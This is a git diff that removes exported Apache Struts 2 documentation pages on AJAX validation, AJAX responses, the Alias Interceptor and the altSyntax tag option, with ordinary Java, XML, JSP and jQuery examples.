- * Incorporates validation errors in HTML DOM.
- *
- * @param form Form containing errors.
- * @param errors Errors from server.
- */
-function _handleValidationResult(form, errors) {
-    // action errors
-    if (errors.errors) {
-        // you might want to use a custom ID here
-        var errorContainer = $('ul.errorMessage');
-        $.each(errors.errors, function(index, errorMsg) {
-            var li = $('&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;/li&gt;');
-            li.text(errorMsg); // use text() for security reasons
-            errorContainer.append(li);
-        });
-    }
-    // field errors
-    if (errors.fieldErrors) {
-        $.each(errors.fieldErrors, function(fieldName, errorMsg) {
-            var td = $('td[data-error-for-fieldname="' + fieldName + '"]');
-            if (td) {
-                var div = $('&lt;div class="errorMessage"&gt;&lt;/div&gt;');
-                div.text(errorMsg); // use text() for security reasons
-                td.append(div);
-            }
-        });
-    }
-}
-// register onSubmit handler
-$(window).bind('load', function() {
-    $('form').bind('submit', ajaxFormValidation);
-});</plain-text-body><p>&#160;</p><h2 id="AJAXValidation-Howitworks">How it works</h2><p><em>jsonValidation</em> interceptor must be placed on a stack, following the <em>validation</em> interceptor. The interceptor itself won't perform any validation, but will check for validation errors on the action being invoked (assuming that the action is ValidationAware).</p><p>If you just want to use AJAX validation, without knowing the implementation details, you can skip this section.</p><p>When [...]
-    "errors": ["Global Error 1", "Global Error 2"],
-    "fieldErrors": {
-        "field1": ["Field 1 Error 1", "Field 1 Error 2"],
-        "field1": ["Field 2 Error 1", "Field 2 Error 2"]  
-    }
-}
-</plain-text-body><p>If the action implements the <em>ModelDrive</em> interface, "model." will be stripped from the field names in the returned JSON. If validation succeeds (and&#160;<em>struts.validateOnly</em> is true), an empty JSON string will be returned:</p><parameter ac:name="">JavaScript</parameter><plain-text-body>{}
-</plain-text-body><p>If <em>struts.validateOnly</em> is false the action and result are executed. In this case <em>jsonActionRedirect</em> result is very useful. It creates a JSON response in the form:</p><parameter ac:name="">JavaScript</parameter><plain-text-body>{"location": "&lt;url to be loaded next&gt;"}
-</plain-text-body><rich-text-body><p>Remember to set struts.enableJSONValidation=true in the request to enable AJAX validation</p></rich-text-body><h2 id="AJAXValidation-JSONValidationInterceptorparameters">JSONValidationInterceptor parameters</h2><p>The following request parameters can be used to enable exposing validation errors:</p><ul style="list-style-type: square;"><li><strong>struts.enableJSONValidation</strong> - a request parameter&#160;must be set to <strong>true</strong>&#160; [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax.html b/content/docs/ajax.html
deleted file mode 100644
index 42fd497..0000000
--- a/content/docs/ajax.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>AJAX</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="ajax.html">AJAX</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">AJAX</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34512">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34512">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34512">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34512">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34512">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34512">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>AJAX is an acronym for Asynchronous JavaScript and XML. Essentially, a JavaScript can make a HTTP request and update portions of a page directly, without going through a conventional POST or GET and refreshing the entire page. Better yet, a page can contain several JavaScripts making simultaneous (asynchronous) requests.</p><p>The key point is that when a script makes an "Ajax request" (XHR), the server doesn't know it came from a script, and ha [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">response.setContentType("text/html");
-PrintWriter out = response.getWriter();
-out.println("Hello World!  This is an AJAX response from a Struts Action.");
-out.flush();
-return null;
-</pre>
-</div></div><p>In Struts 2, we can do the same thing with a Stream result.</p><div class="confluence-information-macro confluence-information-macro-note"><p class="title">There are easier ways!</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Using a Struts 2 plugin (e.g., <a shape="rect" href="json-plugin.html">JSON plugin</a>, jQuery plugin, etc.) is, in general, preferred to writing [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package actions;
-
-import java.io.InputStream;
-import java.io.StringBufferInputStream;
-import com.opensymphony.xwork2.ActionSupport;
-
-public class TextResult extends ActionSupport  {
-    private InputStream inputStream;
-    public InputStream getInputStream() {
-        return inputStream;
-    }
-
-    public String execute() throws Exception {
-        inputStream = new ByteArrayInputStream("Hello World! This is a text string response from a Struts 2 Action.".getBytes("UTF-8"));
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts 2 Configuring the TextResult Action</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="text-result" class="actions.TextResult"&gt;
-    &lt;result type="stream"&gt;
-        &lt;param name="contentType"&gt;text/html&lt;/param&gt;
-        &lt;param name="inputName"&gt;inputStream&lt;/param&gt;
-    &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Struts 2 can also return a JSON (JavaScript Object Notation) response, using a <a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/json-plugin.html">plugin</a>.</p><p>On the client side, there are two basic strategies, which can be mixed and  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ page import="java.util.Iterator,
-		 java.util.List,
-		 com.esolaria.dojoex.Book,
-		 com.esolaria.dojoex.BookManager" %&gt;
-&lt;%
-	String bookIdStr = request.getParameter("bookId");
-	int bookId = (bookIdStr == null || "".equals(bookIdStr.trim())) 
-		? 0 : Integer.parseInt(bookIdStr);
-	Book book = BookManager.getBook(bookId);
-	if (book != null) {
-		out.println(book.toJSONString());
-		System.out.println("itis: " + book.toJSONString());
-	}
-%&gt;
-</pre>
-</div></div><p>In the code example, we use <code>System.out.println</code> to return a JSON data stream as the response. For more about this technique, see the article <a shape="rect" class="external-link" href="http://today.java.net/pub/a/today/2006/04/27/building-ajax-with-dojo-and-json.html" rel="nofollow">Using Dojo and JSON to Build Ajax Applications</a>.</p><h2 id="AJAX-Next:">Next: <a shape="rect" href="dependency-injection.html">Dependency Injection</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/alias-interceptor.html b/content/docs/alias-interceptor.html
deleted file mode 100644
index 5138a6b..0000000
--- a/content/docs/alias-interceptor.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Alias Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="alias-interceptor.html">Alias Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Alias Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14046">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14046">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14046">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14046">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14046">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14046">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The aim of this Interceptor is to alias a named parameter to a different named parameter. By acting as the glue
-between actions sharing similar parameters (but with different names), it can help greatly with action chaining.</p>
-
-<p></p><p>Action's alias expressions should be in the form of  <code>#{ "name1" : "alias1", "name2" : "alias2" }</code>.
-This means that assuming an action (or something else in the stack) has a value for the expression named <i>name1</i> and the
-action this interceptor is applied to has a setter named <i>alias1</i>, <i>alias1</i> will be set with the value from
-<i>name1</i>.
-</p>
-
-
-<h2 id="AliasInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>aliasesKey (optional) - the name of the action parameter to look for the alias map (by default this is
-<i>aliases</i>).</li></ul><p></p>
-
-
-<h2 id="AliasInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p>This interceptor does not have any known extension points.</p>
-
-
-<h2 id="AliasInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;!-- The value for the foo parameter will be applied as if it were named bar --&gt;
-    &lt;param name=&quot;aliases&quot;&gt;#{ &#39;foo&#39; : &#39;bar&#39; }&lt;/param&gt;
-
-    &lt;interceptor-ref name=&quot;alias&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/alt-syntax.html b/content/docs/alt-syntax.html
deleted file mode 100644
index 99d8610..0000000
--- a/content/docs/alt-syntax.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Alt Syntax</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="alt-syntax.html">Alt Syntax</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Alt Syntax</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13974">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13974">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13974">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13974">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13974">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13974">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The <em>altSyntax</em> is an option that can be defined in <a shape="rect" href="strutsproperties.html">struts.properties</a>. By default it is set to true and it is <strong>strongly</strong> recommend you do not change that unless you are upgrading from WebWork 2.1.7 or previous versions.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Migration tip</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>You can also turn on the altSyntax on a per-page basis by using the <a shape="rect" href="set.html">set</a> tag. Simply set the name <em>useAltSyntax</em> to the value <em>true</em>. From this point on, all tags will use the altSynta [...]
-
-<p>The altSyntax changes the behavior of how tags are interpreted. Instead of evaluating each tag parameter against the value stack and needing single quotes to mark string literals, only marked expressions are evaluated.</p>
-
-<p>Example:</p>
-
-<p>the following code uses the <a shape="rect" href="tag-syntax.html">Tag Syntax</a>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="cart.items"&gt;
-   ...
-   &lt;s:textfield label="'Cart item No.' + #rowstatus.index + ' note'" 
-                 name="'cart.items[' + #rowstatus.index + '].note'" 
-                 value="note" /&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>this is somewhat counter intuitive to normal HTML tag behaviour, and you get loads of single quotes. Now the same example in altSyntax:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="cart.items"&gt;
-   ...
-   &lt;s:textfield label="Cart item No. %{#rowstatus.index} note" 
-                 name="cart.items[%{#rowstatus.index}].note" 
-                 value="%{note}" /&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div>
-
-<p>Only expressions enclosed with %{} are evaluated. The code is shorter and clearer, very similar to JSTL EL usage. Quoting problems, eg. with javascript function calls, are avoided.</p>
-
-<p>In order to fully understand why this option exists and what the differences are, it is best to get a bit of history about WebWork.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If you are <em>not</em> upgrading from WebWork 2.1.7 or previous versions and you don't care about the history of WebWork's evolution, you can skip this section. See the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> section for more information on the standa [...]
-
-<h1 id="AltSyntax-History">History</h1>
-
-<p>In WebWork 2.1.4, the altSyntax option was introduced. The book, WebWork in Action, while based around WebWork 2.1.7, was entirely written with the assumption that the altSyntax was enabled. As of WebWork 2.2, the altSyntax is turned on by default and eventually the old syntax will no longer be supported and will be removed from the code.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/annotations.html b/content/docs/annotations.html
deleted file mode 100644
index dfba092..0000000
--- a/content/docs/annotations.html
+++ /dev/null
@@ -1,237 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
